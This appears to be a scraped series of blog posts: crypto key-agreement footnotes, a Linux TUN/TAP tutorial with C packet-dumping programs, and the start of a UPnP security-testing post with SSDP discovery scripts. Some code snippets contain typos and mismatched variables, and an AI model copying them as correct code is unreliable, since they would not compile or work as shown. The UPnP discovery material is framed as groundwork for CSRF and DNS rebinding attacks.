\nIn the case where Alice is authenticating using a static DH key pair\nand Bob is authenticating using a digital signature,\nAlice is vulnerable to KCI as well:\nif an attacker manages to get Alice's static DH private key,\nthe attacker can use that key\nto compute the DH shared secret\nand hijack the communication. \u21a9\ufe0e
\nThis is the extended version of protocol 1\nin Modular Security Proofs for Key Agreemen Protocols, discussed at the end of section 5. \u21a9\ufe0e
\n\u201cWhat about a double Diffie-Hellman key agreement?\u201d, you might wonder.
\nIf you don't include the ephemeral-ephemeral DH key agreeement\n(only the two ephemeral-static ones),\nyou don't have forward secrecy with respect to the static DH private keys:\nif someone manages to compromise the static DH private key of both participants,\nhe can then compute both DH shared secrets\nand decrypt all previous communications between these two parties.\nThis is protocol 1\nin Modular Security Proofs for Key Agreemen Protocols.
\nAnother option would be to combine an ephemeral-ephemeral DH key exchange\n(for mutual authentication)\nand a static-static DH key exchange (for forward secrecy).\nI guess (?) it would work but would provide weaker participation repudiation than 3DH:\nit would only provide participation repudiation\n(when any of the two parties can forge a transcript between the two parties)\ninstead of the full participation repudiation\n(when \u201canybody is able to forge a transcript between any two parties\u201d) provided by 3DH.\nMoreover, this scheme would be vulnerable to KCI\nbecause the authentication would be based on a static-static DH key exchange. \u21a9\ufe0e
\nOne might argue\nthat a party should try to detect DH key reuse\nwhen communicating with peers and reject the key exchange in this case. \u21a9\ufe0e
\nThe PSK is derived from the Wifi password and the SSID using a password-based key derivation function\n(PBKDF2-HMAC-SHA1):
\n\nPSK = PBKDF2-HMAC-SHA1(passphrase, salt=SSID, iterations=4096, 256 bits)\n\n
See for example Analysis of the 802.11i 4-Way Handshake\nor How does WPA/WPA2 WiFi security work, and how to crack it?\nfor details. \u21a9\ufe0e
\nSee the wpa_psk_file
configuration in hostapd\nfor a solution to have per-station (i.e. per MAC address) Wifi passphrases. \u21a9\ufe0e
Some notes about using the TUN/TAP interface, especially on Linux.
\nTUN/TAP is an operating-system interface\nfor creating network interfaces managed by userspace.\nThis is usually used\nto implement userspace Virtual Private Networks[1] (VPNs),\nfor example with OpenVPN,\nOpenSSH (Tunnel
configuration or -w
argument),\nl2tpns, etc.\nThis interface is exposed through the /dev/net/tun
device file\nand related ioctls\n(TUNSETIFF
, etc.).
This C code snippet creates a virtual network interface tun0
\ncontrolled by the program:
int fd = open(\"/dev/net/tun\", O_RDWR);\nstruct ifreq ifr;\nmemset(&ifr, 0, sizeof(ifr));\nifr.ifr_flags = IFF_TUN | IFF_NO_PI;\nstrncpy(ifr.ifr_name, \"tun0\", IFNAMSIZ);\nioctl(fd, TUNSETIFF, &ifr);\n
\nNote: I've omitted error handling for brevity\nin the code snippets. In real programs, you should check\nthe result of each operation.
\nThe program first opens the /dev/net/tun
file:\neach file descriptor obtained this way can be used\nby the process to communicate with one virtual network device.
Then, we use the TUNSETIFF
ioctl()
in order to configure the network\ninterface associated with this file descriptor:
ifr_flags
field to choose whether to create\na TUN (i.e. IP) or a TAP (i.e. Ethernet) interface\n(explained in the next section);ifr_flags
field to set additional options as well\n(such as the IFF_NO_PI
flag, explained afterwards);ifr_name
field is not empty, the call either create a new\nvirtual network interface with the chosen name or an existing one\n(depending on whether a network interface with this name already exists);ifr_name
fields is empty, the system creates a new interface,\ngenerated a name for it and stored this name in the ifr.ifr_name
field.After this, the program can communicate with the virtual network interface\nusing the file descriptor:
\nwrite()
sends a (single) packet or frame to the virtual network interface;read()
receives a (single) packet or frame from the virtual network interface;select()
works as expected.When the the program closes the last file descriptor associated with the\nTUN/TAP interface, the systems destroys the interface.\nWe can prevent the system from destroying the interface by\nmaking it made persistent with the TUNSETPERSIST
ioctl()
.
There are two types of virtual network interfaces managed by /dev/net/tun
:
TUN interfaces (IFF_TUN
) transport layer 3 (L3) Protocol Data Units (PDUs):
read()
gets a L3 PDU (an IP packet);write()
L3 PDUs (an IP packet);POINTOPOINT
interfaces[2].If we have set IFF_NO_PI
in the ifr_flags
field,\nthe version of the IP protocol (IPv4 or IPv6) is deduced\nfrom the IP version number in the packet.\nIf IFF_NO_PI
is not set, 4 bytes (struct tun_pi
) are prepended to\neach packet (see below for details).
TAP interfaces (IFF_TUN
) transport layer 2 (L2) PDUs:
read()
gets a L2 PDU;write()
L2 PDUs.By default, the TAP interface is an Ethernet interfaces\nbut we ca n change the type of device\nwith the TUNSETLINK
ioctl()
.\nFor example, for we can request a virtual ATM network interface with:
ioctl(fd, TUNSETLINK, ARPHRD_ATM);\n
\nwhich gives:
\n\n5: tap0:\nmtu 1500 qdisc noop state DOWN group default qlen 500\n link/atm 12:07:d9:23:19:7d brd ff:ff:ff:ff:ff:ff\n
I am not sure sure this is really useful however\nas it seems it only really works with Ethernet interfaces.
\nWe can set the hardware address (for Ethernet interfaces, the MAC address)\nwith SIOCSIFHWADDR
(see man netdevice
):
struct ifreq ifr;\nifr.ifr_hwaddr.sa_family = ARPHRD_ETHER;\n// We need a placeholder socket for this:\ninc sock = socket(PF_INET, SOCK_STREAM, 0);\nstrcpy(&ifr.ifr_name, iface_name);\nmemcpy(&ifr.ifr_hwaddr.sa_data, hwaddr, hwaddr_size);\nioctl(skfd, SIOCSIFHWADDR, &ifr);\n
\nIf IFF_NO_PI
is not used, each packet\nread to or written from the file descriptor\nis prepended with 4 bytes:
struct tun_pi {\n __u16 flags;\n __be16 proto;\n};\n
\nThe proto
field is an EtherType.\nThis it not very useful for TAP interface as far as I known.\nFor TUN interfaces, this is usually ETH_P_IP
or ETH_P_IPV6
.\nIf IFF_NO_PI
is used, the IP version of packets sent by the process are derived\nfrom the first byte of the packet (for TUN interfaces).
Currently, the only flag defined is TUN_PKT_STRIP
which is set by\nthe kernel to signal the userspace program that the packet was\ntruncated because the buffer was too small.
The TUNSETPERSIST
ioctl can be used to make the TUN/TAP interface persistent.\nIn this mode, the interface won't be destroyed when the last process\ncloses the associated /dev/net/tun
file descriptor.
ioctl(tap_fd, TUNSETPERSIST, 1);\n
\nThere is a race condition when\nsetting TUNSETPERSIST
. Instead, the IFF_TUN_EXCL
can be used to\nensure we have a new interface.\nIf this flag is used and the interface already exists, we get a EBUSY
error.
It is possible to create a persistent TUN/TAP interface\nusing the ip tuntap
command:
sudo ip tuntap add dev foo0 mode tun\n
\nIt is possible to assign a persistent interface to a given user in\norder to five a non-root user access to a TUN/TAP interface:
\nioctl(tap_fd, TUNSETPERSIST, 1);\nioctl(tap_fd, TUNSETOWNER, owner);\n
\nOr to a whole groupe:
\nioctl(tap_fd, TUNSETPERSIST, 1);\nioctl(tap_fd, TUNSETGROUP, group);\n
\nWe can use ip tuntap
for this as well:
sudo ip tuntap add dev foo0 mode tun user john\nsudo ip tuntap add dev foo1 mode tun group doe\n
\nThis simple program creates a TUN interface.\nEvery packet sent to this interface is printed\nto the standard output (stderr
)\nafter parsing some fields:
#include <sys/types.h>\n#include <sys/stat.h>\n#include <fcntl.h>\n#include <string.h>\n#include <unistd.h>\n#include <stdio.h>\n#include <netdb.h>\n\n#include <netinet/in.h> // IPPROTO_*\n#include <net/if.h> // ifreq\n#include <linux/if_tun.h> // IFF_TUN, IFF_NO_PI\n\n#include <sys/ioctl.h>\n
\n#define BUFFLEN (4 * 1024)\n\nconst char HEX[] = {\n '0', '1', '2', '3', '4', '5', '6', '7', '8', '9',\n 'a', 'b', 'c', 'd', 'e', 'f',\n};\n\nvoid hex(char* source, char* dest, ssize_t count)\n{\n for (ssize_t i = 0; i < count; ++i) {\n unsigned char data = source[i];\n dest[2 * i] = HEX[data >> 4];\n dest[2 * i + 1] = HEX[data & 15];\n }\n dest[2 * count] = '\\0';\n}\n
\nint has_ports(int protocol)\n{\n switch(protocol) {\n case IPPROTO_UDP:\n case IPPROTO_UDPLITE:\n case IPPROTO_TCP:\n return 1;\n default:\n return 0;\n }\n}\n\nvoid dump_ports(int protocol, int count, const char* buffer)\n{\n if (!has_ports(protocol))\n return;\n if (count < 4)\n return;\n uint16_t source_port;\n uint16_t dest_port;\n memcpy(&source_port, buffer, 2);\n source_port = htons(source_port);\n memcpy(&dest_port, buffer + 2, 2);\n dest_port = htons(dest_port);\n fprintf(stderr, \" sport=%u, dport=%d\\n\", (unsigned) source_port, (unsigned) dest_port);\n}\n\nvoid dump_packet_ipv4(int count, char* buffer)\n{\n if (count < 20) {\n fprintf(stderr, \"IPv4 packet too short\\n\");\n return;\n }\n\n char buffer2[2*BUFFLEN + 1];\n hex(buffer, buffer2, count);\n\n int protocol = (unsigned char) buffer[9];\n struct protoent* protocol_entry = getprotobynumber(protocol);\n\n unsigned ttl = (unsigned char) buffer[8];\n\n fprintf(stderr, \"IPv4: src=%u.%u.%u.%u dst=%u.%u.%u.%u proto=%u(%s) ttl=%u\\n\",\n (unsigned char) buffer[12], (unsigned char) buffer[13], (unsigned char) buffer[14], (unsigned char) buffer[15],\n (unsigned char) buffer[16], (unsigned char) buffer[17], (unsigned char) buffer[18], (unsigned char) buffer[19],\n (unsigned) protocol,\n protocol_entry == NULL ? \"?\" : protocol_entry->p_name, ttl\n );\n dump_ports(protocol, count - 20, buffer + 20);\n fprintf(stderr, \" HEX: %s\\n\", buffer2);\n}\n\nvoid dump_packet_ipv6(int count, char* buffer)\n{\n if (count < 40) {\n fprintf(stderr, \"IPv6 packet too short\\n\");\n return;\n }\n\n char buffer2[2*BUFFLEN + 1];\n hex(buffer, buffer2, count);\n\n int protocol = (unsigned char) buffer[6];\n struct protoent* protocol_entry = getprotobynumber(protocol);\n\n char source_address[33];\n char destination_address[33];\n\n hex(buffer + 8, source_address, 16);\n hex(buffer + 24, destination_address, 16);\n\n int hop_limit = (unsigned char) buffer[7];\n\n fprintf(stderr, \"IPv6: src=%s dst=%s proto=%u(%s) hop_limit=%i\\n\",\n source_address, destination_address,\n (unsigned) protocol,\n protocol_entry == NULL ? \"?\" : protocol_entry->p_name,\n hop_limit);\n dump_ports(protocol, count - 40, buffer + 40);\n fprintf(stderr, \" HEX: %s\\n\", buffer2);\n}\n\nvoid dump_packet(int count, char* buffer)\n{\n unsigned char version = ((unsigned char) buffer[0]) >> 4;\n if (version == 4) {\n dump_packet_ipv4(count, buffer);\n } else if (version == 6) {\n dump_packet_ipv6(count, buffer); \n } else {\n fprintf(stderr, \"Unknown packet version\\n\");\n }\n}\n
\nint main(int argc, char** argv)\n{\n if (argc != 2)\n return 1;\n const char* device_name = argv[1];\n if (strlen(device_name) + 1 > IFNAMSIZ)\n return 1;\n\n // Request a TUN device:\n int fd = open(\"/dev/net/tun\", O_RDWR);\n if (fd == -1)\n return 1;\n struct ifreq ifr;\n memset(&ifr, 0, sizeof(ifr));\n ifr.ifr_flags = IFF_TUN | IFF_NO_PI;\n strncpy(ifr.ifr_name, device_name, IFNAMSIZ);\n int res = ioctl(fd, TUNSETIFF, &ifr);\n if (res == -1)\n return 1;\n\n char buffer[BUFFLEN];\n while (1) {\n // Read an IP packet:\n ssize_t count = read(fd, buffer, BUFFLEN);\n if (count < 0)\n return 1;\n dump_packet(count, buffer);\n }\n\n return 0;\n}\n
\nNotice how read()
on the file descriptor is used by the userspace program to get a packet\nsent by the network stack to the netork interface.\nIf we wanted packets to come out the interface,\nwe would have to write()
it to the file descriptor.
The program needs to be run as root
:
sudo ./tun_reader tun0\n
\nThe interface is initially down and without a IPv4 address:
\n8: tun0: <POINTOPOINT,MULTICAST,NOARP> mtu 1500 qdisc noop state DOWN group default qlen 500\n link/none\n
\nNow we need to configure an IP address and bring the interface up before\nwe can use it:
\nsudo ip addr add 203.0.113.1/24 dev tun0 &&\nsudo ip link set up dev tun0\n
\n\n8: tun0:\nmtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 500\n link/none \n inet 203.0.113.1/24 scope global tun0\n valid_lft forever preferred_lft forever\n inet6 fe80::807f:6e64:ba6e:ee26/64 scope link stable-privacy \n valid_lft forever preferred_lft forever\n
Alternatively, we could have configured the interface from the program:
\nRTM_NEWADDR
;SIOCSIFFLAGS
ioctl
with IFF_UP
.We get this kind of output:
\n\nIPv6: src=fe80000000000000807f6e64ba6eee26 dst=ff020000000000000000000000000002 proto=58(ipv6-icmp) hop_limit=255\n HEX: 6000000000083afffe80000000000000807f6e64ba6eee26ff0200000000000000000000000000028500e5bd00000000\nIPv6: src=fe80000000000000807f6e64ba6eee26 dst=ff020000000000000000000000000016 proto=0(ip) hop_limit=1\n HEX: 6000000000240001fe80000000000000807f6e64ba6eee26ff0200000000000000000000000000163a000502000001008f00d88d0000000104000000ff020000000000000000000000010003\nIPv4: src=203.0.113.1 dst=224.0.0.22 proto=2(igmp) ttl=1\n HEX: 46c00028000040000102c7f7cb007101e0000016940400002200f9010000000104000000e00000fc\nIPv4: src=203.0.113.1 dst=224.0.0.252 proto=17(udp) ttl=255\n sport=5355, dport=5355\n HEX: 45000034e8e40000ff11b5d5cb007101e00000fc14eb14eb00205ec50cca00000001000000000000066d617276696e0000ff0001\nIPv6: src=fe80000000000000807f6e64ba6eee26 dst=ff020000000000000000000000010003 proto=17(udp) hop_limit=255\n sport=5355, dport=5355\n HEX: 600516ee001f11fffe80000000000000807f6e64ba6eee26ff02000000000000000000000001000314eb14eb001f75abedf000000001000000000000056c6f63616c0000060001\nIPv6: src=fe80000000000000807f6e64ba6eee26 dst=ff020000000000000000000000010003 proto=17(udp) hop_limit=255\n sport=5355, dport=5355\n HEX: 600516ee002011fffe80000000000000807f6e64ba6eee26ff02000000000000000000000001000314eb14eb00204b0fa87d00000001000000000000066d617276696e0000ff0001\nIPv4: src=203.0.113.1 dst=224.0.0.252 proto=17(udp) ttl=255\n sport=5355, dport=5355\n HEX: 45000033e8e50000ff11b5d5cb007101e00000fc14eb14eb001f1237c96700000001000000000000056c6f63616c0000060001\n\n
We easily recognize from the hex-dump that there are IP packet:\nthey start with the IP version (0x6
or 0x4
).
For more details, we can dissect IP packets from Python using ScaPy:
\nfrom scapy.all import *\nIP(bytes.fromhex(\"45000033e8e50000ff11b5d5cb007101e00000fc14eb14eb001f1237c96700000001000000000000056c6f63616c0000060001\")).display()\n
\n\n###[ IP ]### \n version = 4\n ihl = 5\n tos = 0x0\n len = 51\n id = 59621\n flags = \n frag = 0\n ttl = 255\n proto = udp\n chksum = 0xb5d5\n src = 203.0.113.1\n dst = 224.0.0.252\n \\options \\\n###[ UDP ]### \n sport = hostmon\n dport = hostmon\n len = 31\n chksum = 0x1237\n###[ Link Local Multicast Node Resolution - Query ]### \n id = 51559\n qr = 0\n opcode = QUERY\n c = 0\n tc = 0\n z = 0\n rcode = ok\n qdcount = 1\n ancount = 0\n nscount = 0\n arcount = 0\n \\qd \\\n |###[ DNS Question Record ]### \n | qname = 'local.'\n | qtype = SOA\n | qclass = IN\n an = None\n ns = None\n ar = None\n\n
Now we can try to ping an addres on the link:
\nping 203.0.113.2\n
\nWhich gives the packets:
\n\nIPv4: src=203.0.113.1 dst=203.0.113.2 proto=icmp ttl=64\n HEX: 45000054ceab40004001f3f8cb007101cb00710208008d0b23420001f6ab9e5e00000000edd3060000000000101112131415161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f3031323334353637\nIPv4: src=203.0.113.1 dst=203.0.113.2 proto=icmp ttl=64\n HEX: 45000054cf8340004001f320cb007101cb00710208007f9823420002f7ab9e5e00000000f945070000000000101112131415161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f3031323334353637\n\n
The first packet is dissected by ScaPy as:
\n\n###[ IP ]### \n version = 4\n ihl = 5\n tos = 0x0\n len = 84\n id = 52907\n flags = DF\n frag = 0\n ttl = 64\n proto = icmp\n chksum = 0xf3f8\n src = 203.0.113.1\n dst = 203.0.113.2\n \\options \\\n###[ ICMP ]### \n type = echo-request\n code = 0\n chksum = 0x8d0b\n id = 0x2342\n seq = 0x1\n###[ Raw ]### \n load = '\\xf6\\xab\\x9e^\\x00\\x00\\x00\\x00\\xed\\xd3\\x06\\x00\\x00\\x00\\x00\\x00\\x10\\x11\\x12\\x13\\x14\\x15\\x16\\x17\\x18\\x19\\x1a\\x1b\\x1c\\x1d\\x1e\\x1f !\"#$%&\\'()*+,-./01234567'\n\n
Here is a simple program which create a TAP interface and dumps\nthe Ethernet frames it receives from the kernel in hexadecimal form:
\n#include <sys/types.h>\n#include <sys/stat.h>\n#include <fcntl.h>\n#include <string.h>\n#include <unistd.h>\n#include <stdio.h>\n#include <netdb.h>\n\n#include <net/if.h> // ifreq\n#include <linux/if_tun.h> // IFF_TUN, IFF_NO_PI\n#include <linux/if_arp.h>\n\n#include <sys/ioctl.h>\n
\n#define BUFFLEN (4 * 1024)\n\nconst char HEX[] = {\n '0', '1', '2', '3', '4', '5', '6', '7', '8', '9',\n 'a', 'b', 'c', 'd', 'e', 'f',\n};\n\nvoid hex(char* source, char* dest, ssize_t count)\n{\n for (ssize_t i = 0; i < count; ++i) {\n unsigned char data = source[i];\n dest[2 * i] = HEX[data >> 4];\n dest[2 * i + 1] = HEX[data & 15];\n }\n dest[2 * count] = '\\0';\n}\n
\nint main(int argc, char** argv)\n{\n if (argc != 2)\n return 1;\n const char* device_name = argv[1];\n if (strlen(device_name) + 1 > IFNAMSIZ)\n return 1;\n\n // Request a TAP device:\n int fd = open(\"/dev/net/tun\", O_RDWR);\n if (fd == -1)\n return 1;\n struct ifreq ifr;\n memset(&ifr, 0, sizeof(ifr));\n ifr.ifr_flags = IFF_TAP | IFF_NO_PI;\n strncpy(ifr.ifr_name, device_name, IFNAMSIZ);\n int res = ioctl(fd, TUNSETIFF, &ifr);\n if (res == -1)\n return 1;\n\n char buffer[BUFFLEN];\n char buffer2[2*BUFFLEN + 1];\n while (1) {\n\n // Read a frame:\n ssize_t count = read(fd, buffer, BUFFLEN);\n if (count < 0)\n return 1;\n\n // Dump frame:\n hex(buffer, buffer2, count);\n fprintf(stderr, \"%s\\n\", buffer2);\n }\n\n return 0;\n}\n
\nLet's run it:
\nsudo ./rap_reader tap0\n
\nWe now have a TAP interface:
\n9: tap0: <BROADCAST,MULTICAST> mtu 1500 qdisc noop state DOWN group default qlen 1000\n link/ether 7a:40:61:dc:b9:5b brd ff:ff:ff:ff:ff:ff\n
\nWe can notice several differences compared to the TUN example:
\nBROADCAST
flag instead of POINTOPOINT
;NOARP
interface anymore (we need to find L2 addresses when talking on interfaces on this network);link/ether
line with an associated MAC address.Let's bring the interface up:
\nsudo ip addr add 203.0.113.1/24 dev tap0\nsudo ip link set up dev tap0\n
\n9: tap0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 1000\n link/ether 7a:40:61:dc:b9:5b brd ff:ff:ff:ff:ff:ff\n inet 203.0.113.1/24 scope global tap0\n valid_lft forever preferred_lft forever\n inet6 fe80::7840:61ff:fedc:b95b/64 scope link tentative \n valid_lft forever preferred_lft forever\n
\nOutput:
\n\n01005e0000167a4061dcb95b080046c00030000040000102c7efcb007101e000001694040000220014050000000204000000e00000fc04000000e00000fb\n3333000000167a4061dcb95b86dd600000000024000100000000000000000000000000000000ff0200000000000000000000000000163a000502000001008f00b5520000000104000000ff0200000000000000000001ffdcb95b\n01005e0000fb7a4061dcb95b08004500004996344000ff11c871cb007101e00000fb14e914e90035b739000000000002000000000000055f69707073045f746370056c6f63616c00000c0001045f697070c012000c0001\n01005e0000fb7a4061dcb95b08004500007696354000ff11c843cb007101e00000fb14e914e90062336400000000000200000002000001310331313301300332303307696e2d6164647204617270610000ff0001066d617276696e056c6f63616c0000ff0001c02a00010001000000780004cb007101c00c000c0001000000780002c02a\n\n
We have now Ethernet frames instead of raw IP packets coming in and out\nof the virtual interface:
\n01:00:5e:00:00:16
, multicast MAC address for multicast IP address 224.0.0.22
(IGMP)01:00:5e:00:00:fb
, multicast MAC address for multicast IP address 224.0.0.251
(mDNS)7a:40:61:dc:b9:5b
).We can disect Ethernet frames with ScaPy:
\nfrom scapy.all import *\nEther(bytes.fromhex(\"01005e0000167a4061dcb95b080046c00030000040000102c7efcb007101e000001694040000220014050000000204000000e00000fc04000000e00000fb\")).displa\n
\n\n###[ Ethernet ]### \n dst = 01:00:5e:00:00:16\n src = 7a:40:61:dc:b9:5b\n type = IPv4\n###[ IP ]### \n version = 4\n ihl = 6\n tos = 0xc0\n len = 48\n id = 0\n flags = DF\n frag = 0\n ttl = 1\n proto = igmp\n chksum = 0xc7ef\n src = 203.0.113.1\n dst = 224.0.0.22\n \\options \\\n |###[ IP Option Router Alert ]### \n | copy_flag = 1\n | optclass = control\n | option = router_alert\n | length = 4\n | alert = router_shall_examine_packet\n###[ Raw ]### \n load = '\"\\x00\\x14\\x05\\x00\\x00\\x00\\x02\\x04\\x00\\x00\\x00\\xe0\\x00\\x00\\xfc\\x04\\x00\\x00\\x00\\xe0\\x00\\x00\\xfb'\n\n
Now we can try to ping an address on the link:
\nping 203.0.113.2\n
\nWhich gives:
\n\nffffffffffff7a4061dcb95b080600010800060400017a4061dcb95bcb007101000000000000cb007102\nffffffffffff7a4061dcb95b080600010800060400017a4061dcb95bcb007101000000000000cb007102\nffffffffffff7a4061dcb95b080600010800060400017a4061dcb95bcb007101000000000000cb007102\n\n
The frames are decoded by ScaPy as:
\n\n###[ Ethernet ]### \n dst = ff:ff:ff:ff:ff:ff\n src = 7a:40:61:dc:b9:5b\n type = ARP\n###[ ARP ]### \n hwtype = 0x1\n ptype = IPv4\n hwlen = 6\n plen = 4\n op = who-has\n hwsrc = 7a:40:61:dc:b9:5b\n psrc = 203.0.113.1\n hwdst = 00:00:00:00:00:00\n pdst = 203.0.113.2\n\n
man netdevice
tunctl.c
However, not all VPN software are based on TUN/TAP.\nFor example, WireGuard\nis implemented in kernel and has its dedicated network interface type.\nMany tunnels based on PPP use pppd
which use pppX
\nnetwork interfaces. These are managed through /dev/ppp
\nand related ioctls). \u21a9\ufe0e
When using an Ethernet or Wifi interface, several different machines can\npossibly be reached directly through this interface:\nas a consequence, L2 addressing is needed\nwhich specify to which host on the LAN we are sending\na given frame.\nIn contrast, only a single machine is directly reachable\nthrough POINTOPOINT
network interfaces and there is thus no L2 addressing.\nTUN interfaces only transport L3 (IP) packets: they do not have L2 addressing\nand are thus POINTOPOINT
interfaces. \u21a9\ufe0e
This post gives simple explanations of how UPnP (Universal Plug-and-Play) works,\nespecially with the goal of testing the security devices\nsuch as routers,\nsmart TVs, etc.
\nThe goal is to explain:
\nWe focus here on Cross Site Request Forgery (CSRF) and DNS rebinding attacks but\nUPnP can be used for\nother interesting vulnerabilities.
\nThe UPnP architecture is a set of protocols used for exposing \u201cplug-ang-play\u201d services on the LAN:\nyou plug a device (typically a router, a smart TV or another smart device)\non the network and it exposes some features which are immediately usable to any device\non the LAN without the need of any configuration or provisioning.\nThe features exposed this way do not requires any form of authentication\nwhich makes them an interesting target for attacks.\nA lot of these services are vulnerable to CSRF\nand/or DNS rebinding attacks.
\nThe UPnP protocol is made of four parts:
\nThe stack is summarized as:
\n\n [Device/service desc.] [SOAP/1.1] [UPnP event] [UPnP event]\n [XML ] [XML ] [XML ] [XML ]\n[HTTP+SSDP ] [HTTP ] [HTTP ] [HTTP+GENA ] [HTTP+GENA ]\n[UDP ] [TCP ] [TCP ] [TCP ] [UDP ]\n[IP (mcast)] [IP ] [IP ] [IP ] [IP (mcast)]\nService Service Control Eventing Eventing\nDiscovery Description (RPC) (unicast) (multicast)\n\n
Note: UPnP eventing is not covered in this post.
\nService discovery is done using SSDP\n(Simple Service Discovery Protocol).\nSSDP use HTTP-like messages sent over UDP (one message per datagram).
\nSSDP services are announced periodically using the NOTIFY
method.\nIt is sent on UDP port 1900 to multicast address 239.255.255.250.\nWe can listen to these using a script such as:
import socket\nfrom signal import alarm\nimport sys\nimport ipaddress\nimport struct\nimport sys\n\ninterface_address = sys.argv[1]\n\nsock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, 0)\nsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\nsock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_LOOP, 1)\n# Not available in Python: sock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_ALL, 0)\nsock.bind((\"0.0.0.0\", 1900))\n\nmreq = struct.pack(\"4s4s\", socket.inet_aton(\"239.255.255.250\"), socket.inet_aton(interface_address))\nsock.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, mreq)\n\nwhile True:\n response = sock.recv(4096)\n sys.stdout.write(response.decode(\"UTF-8\"))\n sys.stdout.flush()\n
\nUsage:
\npython ./ssdp_discover.py 192.168.1.42\n
\nwhere 192.168.1.42
is the IP address of the local machine\non the network interface we want to listen to.
Example of output (one message per UDP datagram):
\nNOTIFY * HTTP/1.1\nHOST: 239.255.255.250:1900\nCACHE-CONTROL: max-age=1801\nNTS: ssdp:alive\nLOCATION: http://192.168.1.1:60000/62177d51/gatedesc.xml\nSERVER: Unspecified, UPnP/1.0, Unspecified\nNT: upnp:rootdevice\nUSN: uuid:62177d51-6ebe-4d59-9e8d-59cc417d3f9c::upnp:rootdevice\n
\nNOTIFY * HTTP/1.1\nHOST: 239.255.255.250:1900\nCACHE-CONTROL: max-age=1801\nNTS: ssdp:alive\nLOCATION: http://192.168.1.1:60000/62177d51/gatedesc.xml\nSERVER: Unspecified, UPnP/1.0, Unspecified\nNT: uuid:62177d51-6ebe-4d59-9e8d-59cc417d3f9c\nUSN: uuid:62177d51-6ebe-4d59-9e8d-59cc417d3f9c\n
\nNOTIFY * HTTP/1.1\nHOST: 239.255.255.250:1900\nCACHE-CONTROL: max-age=1801\nNTS: ssdp:alive\nLOCATION: http://192.168.1.1:60000/62177d51/gatedesc.xml\nSERVER: Unspecified, UPnP/1.0, Unspecified\nNT: urn:schemas-upnp-org:device:InternetGatewayDevice:2\nUSN: uuid:62177d51-6ebe-4d59-9e8d-59cc417d3f9c::urn:schemas-upnp-org:device:InternetGatewayDevice:2\n
\nImportant headers:
\nNTS
(Notifcation Sub-Type) (ssdp:alive
, ssdp:byebye
, ssdp:update
)Location
, URI of the UPnP device description (XML file)NT
(Notification Type) is either a device type (eg. urn:schemas-wifialliance-org:device:WFADevice:1
),\na service type (eg. urn:schemas-wifialliance-org:service:WFAWLANConfig:1
)\na device identifier (eg. uuid:a6df5df0-8662-491d-a89e-ffebc5d55db8
)\nor upnp:rootdevice
(advertised for all devices)USN
(Unique Service Name)In order to elicit SSDP announces,\nwe can use a M-SEARCH
message:
M-SEARCH * HTTP/1.1\nHOST: 239.255.255.250:1900\nMAN: \"ssdp:discover\"\nMX: 5\nST: ssdp:all\nUSER-AGENT: Python/3.0 UPnP/1.1 Foo/1.0\n
\nThis can be done with a script such as:
\nimport socket\nfrom signal import alarm\nimport sys\n\ninterface_address = sys.argv[1] if len(sys.argv) >= 2 else \"0.0.0.0\"\n\nsock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, 0)\nsock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 2)\nsock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_IF, socket.inet_aton(interface_address))\n\nmessage = b\"\"\"M-SEARCH * HTTP/1.1\\r\nHOST: 239.255.255.250:1900\\r\nMAN: \"ssdp:discover\"\\r\nMX: 5\\r\nST: ssdp:all\\r\nUSER-AGENT: Python/3.0 UPnP/1.1 Foo/1.0\\r\n\\r\n\"\"\"\n\nsock.sendto(message, (\"239.255.255.250\", 1900))\nalarm(15)\nwhile True:\n response = sock.recv(4096)\n sys.stdout.write(response.decode(\"UTF-8\"))\n sys.stdout.flush()\n
\nUsage:
\npython ./ssdp_search.py 192.168.1.42\n
\nExample of response (one message per UDP datagram):
\nHTTP/1.1 200 OK\nCACHE-CONTROL: max-age=1800\nDATE: Tue, 18 Aug 2020 22:30:55 GMT\nEXT:\nLOCATION: http://192.168.1.1:60000/62177d51/gatedesc.xml\nSERVER: Unspecified, UPnP/1.0, SoftAtHome\nST: upnp:rootdevice\nUSN: uuid:62177d51-6ebe-4d59-9e8d-59cc417d3f9c::upnp:rootdevice\n
\nHTTP/1.1 200 OK\nCACHE-CONTROL: max-age=1800\nDATE: Tue, 18 Aug 2020 22:30:55 GMT\nEXT:\nLOCATION: http://192.168.1.1:60000/62177d51/gatedesc.xml\nSERVER: Unspecified, UPnP/1.0, SoftAtHome\nST: uuid:62177d51-6ebe-4d59-9e8d-59cc417d3f9c\nUSN: uuid:62177d51-6ebe-4d59-9e8d-59cc417d3f9c\n
\nHTTP/1.1 200 OK\nCACHE-CONTROL: max-age=1800\nDATE: Tue, 18 Aug 2020 22:30:55 GMT\nEXT:\nLOCATION: http://192.168.1.1:60000/62177d51/gatedesc.xml\nSERVER: Unspecified, UPnP/1.0, SoftAtHome\nST: urn:schemas-upnp-org:device:InternetGatewayDevice:2\nUSN: uuid:62177d51-6ebe-4d59-9e8d-59cc417d3f9c::urn:schemas-upnp-org:device:InternetGatewayDevice:2\n
\nThe important HTTP request header is ST
(Search Target)\nwhich can be either:
ssdp:all
;upnp:rotdevice
;uuid:e8238d3a-f12e-4678-bf17-56a9ee13b311
);The description is made of two part:
\nThe HTTP resources indicated in the LOCATION
header\nprovides a description of the device and its services[1]:
